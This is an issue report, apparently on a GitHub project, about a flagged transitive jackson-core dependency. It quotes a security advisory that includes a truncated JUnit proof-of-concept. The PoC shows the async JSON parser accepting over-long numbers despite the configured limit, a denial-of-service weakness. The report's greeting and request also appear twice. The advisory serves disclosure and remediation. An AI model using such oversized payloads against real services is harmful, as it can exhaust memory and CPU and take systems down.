Hello team,
Just wanted to reach out with a vulnerability.
Our company has daily enterprise-level scanners, such as SonarQube, BlackDuck, etc...
All of them are currently flagging the following for version 5:
<dependency>
<groupId>com.github.victools</groupId>
<artifactId>jsonschema-generator</artifactId>
<version>5.0.0</version>
<scope>test</scope>
</dependency>
Dependency maven:tools.jackson.core:jackson-core:3.0.4 is vulnerable
Update to unaffected version 3.1.0
GHSA-72hv-8253-57qq, Score: 7.5
Summary The non-blocking (async) JSON parser in "jackson-core" bypasses the "maxNumberLength" constraint (default: 1000 characters) defined in "StreamReadConstraints". This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS). The standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy. Details The root cause is that the async parsing path in "NonBlockingUtf8JsonParserBase" (and related classes) does not call the methods responsible for number length validation. - The number parsing methods (e.g., "_finishNumberIntegralPart") accumulate digits into the "TextBuffer" without any length checks. - After parsing, they call "_valueComplete()", which finalizes the token but does not call "resetInt()" or "resetFloat()". - The "resetInt()"/"resetFloat()" methods in "ParserBase" are where the "validateIntegerLength()" and "validateFPLength()" checks are performed. - Because this validation step is skipped, the "maxNumberLength" constraint is never enforced in the async code path. PoC The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000. package tools.jackson.core.unittest.dos; import java.nio.charset.StandardCharsets; import org.junit.jupiter.api.Test; import tools.jackson.core.; import tools.jackson.core.exc.StreamConstraintsException; import tools.jackson.core.json.JsonFactory; import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser; import static org.junit.jupiter.api.Assertions.; /** * POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers * * Authors: sprabhav7, rohan-repos * * maxNumberLength default = 1000 characters (digits). * A number with more than 1000 digits should be rejected by any parser. * * BUG: The async parser never calls resetInt()/resetFloat() which is where * validateIntegerLength()/validateFPLength() lives. Instead it calls * _valueComplete() which skips all number length validation. * * CWE-770: Allocation of Resources Without Limits or Throttling */ class AsyncParserNumberLengthBypassTest { private static final int MAX_NUMBER_LENGTH = 1000; private static final int TEST_NUMBER_LENGTH = 5000; private final JsonFactory factory = new JsonFactory(); // CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength @Test void syncParserRejectsLongNumber() throws Exception { byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH); // Output to console System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")"); try { try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) { while (p.nextToken() != null) { if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) { System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED"); } } } fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number"); } catch (StreamConstraintsException e) { System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage()); } } // VULNERABILITY: Async parser accepts the SAME number that sync rejects @Test void asyncParserAcceptsLongNumber() throws Exception { byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH); NonBlockingByteArrayJsonParser p = (NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty()); p.feedInput(payload, 0, payload.length); p.endOfInput(); boolean foundNumber = false; try { while (p.nextToken() != null) { if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) { foundNumber = true; String numberText = p.getText(); assertEquals(TEST_NUMBER_LENGTH, numberText.length(), "Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits"); } } // Output to co
Read More: https://www.mend.io/vulnerability-database/GHSA-72hv-8253-57qq?utm_source=Jetbrains
Results powered by Mend.io
I also downloaded the code and asked OPUS 4.6 if this could be relevant, and the answer is yes.
Could you please help take a look at this?
Thank you for your time.
Hello team,
Just wanted to reach out with a vulnerability.
Our company has daily enterprise-level scanners, such as SonarQube, BlackDuck, etc...
All of them are currently flagging the following for version 5:
I also downloaded the code and asked OPUS 4.6 if this could be relevant, and the answer is yes.
Could you please help take a look at this?
Thank you for your time.